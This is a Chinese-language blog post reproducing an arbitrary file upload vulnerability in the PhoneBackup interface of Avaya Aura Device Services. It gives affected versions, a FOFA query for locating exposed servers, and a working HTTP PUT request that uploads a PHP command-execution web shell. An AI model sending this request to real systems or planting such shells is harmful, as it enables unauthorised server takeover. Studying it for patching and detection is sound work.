Avaya Aura Device Services任意文件上传

最新推荐文章于 2024-10-08 21:32:38 发布
最新推荐文章于 2024-10-08 21:32:38 发布
阅读量69 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43567873/article/details/136503164
版权
本文介绍了Avaya Aura Device Services的任意文件上传漏洞，该漏洞存在于PhoneBackup接口，允许攻击者绕过验证并上传任意文件，从而可能获取服务器权限。受影响的版本为7.0-8.1.4.0。通过FOFA搜索可以发现复现环境，而Tscan工具可用于漏洞检测。
摘要由CSDN通过智能技术生成

产品简介

Avaya Aura Device Services是美国Avaya公司的一个应用软件。提供一个管理 Avaya 端点功能。

漏洞概述

Avaya Aura Device Services 系统PhoneBackup接口处存在任意文件上传漏洞，攻击者可绕过验证上传任意文件获取服务器权限。

影响范围

Avaya Aura Device Services 7.0-8.1.4.0版本

复现环境

FOFA：app=”AVAYA-Aura-Utility-Server”

漏洞复现

PUT /PhoneBackup/123.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: AVAYA
Content-Length: 23

<?php system('whoami');


访问上传的文件
 

了解本专栏 订阅专栏 解锁全文 超级会员免费看
今天晚上早睡觉
关注
专栏目录
订阅专栏
Avaya Aura Device Services 任意文件上传漏洞复现
0xSec
12-06 1054
Avaya Aura Device Services 系统PhoneBackup接口处存在任意文件上传漏洞，攻击者可绕过验证上传任意文件获取服务器权限。
Goby 漏洞发布｜Avaya Aura Device Services r软件 PhoneBackup 任意文件上传漏洞
m0_46699477的博客
06-21 339
Avaya Aura Device Services是美国Avaya公司的一个应用软件。提供一个管理 Avaya 端点功能。Avaya Aura Device Services 7.0至8.1.4.0版本存在安全漏洞，攻击者可绕过验证上传任意文件获取服务器权限。
Avaya Aura Orchestration Designer 中文版安装配置手册
01-09
AAOD 的安装及配置 IVR 流程的创建 IVR流程的调试 IVR 流程的发布 IVR流程的部署 练习
AVAYA Aura Conferencing 中文文档
07-24
Avaya Aura Conferencing 8中文文档。包含说明、安装、维护等。
Avaya Aura™ 独家观察报告
系统、软件、管理咨询以及其他
05-02 852
Aura是Avaya今年三月份最新推出的一个概念：Aura=SIP+ Presence+ Web Services 为了走向蓝海，一个年轻的传统通信设备厂商，终于开始醒悟了，（也可能是策划好了，看准SIP的企业应用市场虽成熟但群龙无首）终于拥抱了SIP。 这是一个整合Avaya的现有产品，提供完整的UC的应用的解决方案。（我猜这个技术来自原来收购的Ubiquity软件公司？） 从应用角度来看
Avaya Aura System Manager 8.1.3.x Hot Fix for Log4j vulnerabilities.
孙宏宇的博客
12-27 339
sunhongyu >ls System_Manager_Log4j_CVEs_R8.1.3.x_Patch2_r810014070.bin sunhongyu >SMGRPatchdeploy System_Manager_Log4j_CVEs_R8.1.3.x_Patch2_r810014070.bin [sudo] password for sunhongyu: Verifying the patch binary..... Checking if patchplugin.log e...
Goby 漏洞发布｜Avaya Aura Device Services r软件 PhoneBackup 任意文件上传漏洞_avaya 漏洞
2401_84247726的博客
04-12 554
兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**
AES概述
weixin_34292287的博客
07-14 396
Avaya Aura Application Enablement Services(AE Services)是一个用于支撑Avaya Aura Communication Manager(CM)的一个软件平台。AES提供了一个加强的API，协议族和Web服务用以增强CM与应用开发商，第三方软件提供商和系统集成商的合作。 AES运行在Linux平台上，与CM以及Avay...
Avaya IP Office R10 - Preferred Edition
weixin_33726943的博客
06-09 228
Although it supports many of the same capacities as Essential Edition, IP Office Preferred Edition enhances all the capabilities of Essential Edition and much more. As an example it suppor...
AVAYA统一通信相关资料Avaya_Aura.ppt
01-24
Avaya Aura是一款由Avaya公司推出的统一通信解决方案，旨在引领商业通信的新时代。该系统以用户为中心，通过网络和组织为中心的策略，赋能企业提升效率、优化客户服务并增强竞争力。 Avaya Aura的核心在于将通信...
Ingate Systems Certified as "Avaya Compliant"
weixin_34107739的博客
07-10 75
STOCKHOLM, SWEDEN -- 11/10/09 -- Ingate SIParator and SIP Trunking software module are compatible with key Avaya SIP trunking and IP telephony solutions -- Helps businesses utili...
2024年三个月网络安全（黑客技术）入门教程
2401_85027336的博客
09-25 2025
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。走安全行业的工程方向的，技术上面其实有很大的重叠性，抛开甲乙方、岗位名称、岗位职责等因素来看，作为学技术的，也根据以往我们给学员推荐就业和入职情况来看，只要好好掌握以下几种技术（网络协议与安全设备、Linux操作系统、Web服务部署/开发、主流渗透测试/安全工具、一门及以上的编程语言）中的2到3个，都可以较好的胜任工作需求。
网络安全（黑客）自学
白帽子凯哥聊黑客
09-29 1332
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
No.2 笔记 | 网络安全攻防：PC、CS工具与移动应用分析
l1x1n0的博客
10-05 1233
Cobalt Strike是一款基于Java的高级渗透测试工具,支持多人协同操作。它被称为"线上多人运动平台",功能强大且灵活。通过学习PC端和移动端的恶意程序利用技术,以及Cobalt Strike这一强大的渗透测试工具,我们不仅掌握了一些网络攻击的基本原理和技术,更重要的是提高了自身的网络安全意识。然而,我们必须时刻牢记,这些知识的学习目的是为了更好地理解和防御网络攻击,而非从事任何非法活动。作为负责任的网络公民,我们有义务遵守相关法律法规,保护自己和他人的网络安全。
Web安全 - 重放攻击（Replay Attack）
小工匠
10-01 1435
重放攻击（Replay Attack）是一种网络攻击方式，攻击者通过截取并重复发送已经捕获的合法通信数据包，企图在受害者不知情的情况下冒充合法用户进行操作。这种攻击常见于不安全的网络协议中，攻击者无需破解通信内容，只需重发合法的消息即可造成安全威胁。重放攻击的潜在危害包括：未授权的交易执行、非法获取资源、数据泄露以及系统篡改等。随着网络系统的日益复杂，重放攻击仍然是一个常见的威胁，尤其是在不具备防御机制的旧协议或自定义通信方案中。使用缓存减少存储开销。利用异步处理避免阻塞主线程。
【网络安全】利用XSS、OAuth配置错误实现token窃取及账户接管 (ATO)
最新发布
等风来
10-08 177
在过去，可以通过在两个子域名的 JavaScript 中显式设置 document.domain 来实现跨域访问，即在 sub1.target.com 和 auth.target.com 中都设置 document.domain = 'target.com';。这样，它们就共享了同一个源，浏览器将允许 JavaScript 之间的交互（例如相互访问变量、调用函数等）。
Web安全 - 路径穿越（Path Traversal）
小工匠
10-02 2472
路径穿越（Path Traversal）是一种Web应用漏洞，攻击者通过操控输入文件路径参数，以访问系统上未经授权的文件。通过路径穿越，攻击者可以使用诸如../的相对路径绕过访问限制，读取系统敏感信息或修改配置文件。
网络安全（黑客）——自学2024
2401_84466325的博客
09-28 2922
网络安全是一种综合性的概念，涵盖了保护计算机系统、网络基础设施和数据免受未经授权的访问、攻击、损害或盗窃的一系列措施和技术。经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
Avaya Aura应用启用服务详解
"Avaya Aura® Application Enablement Services (AES) 是一款由Avaya公司提供的技术解决方案，旨在使企业能够更有效地开发、部署和管理基于通信的应用程序。该服务允许不同系统间的无缝集成，以提升企业的业务流程...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值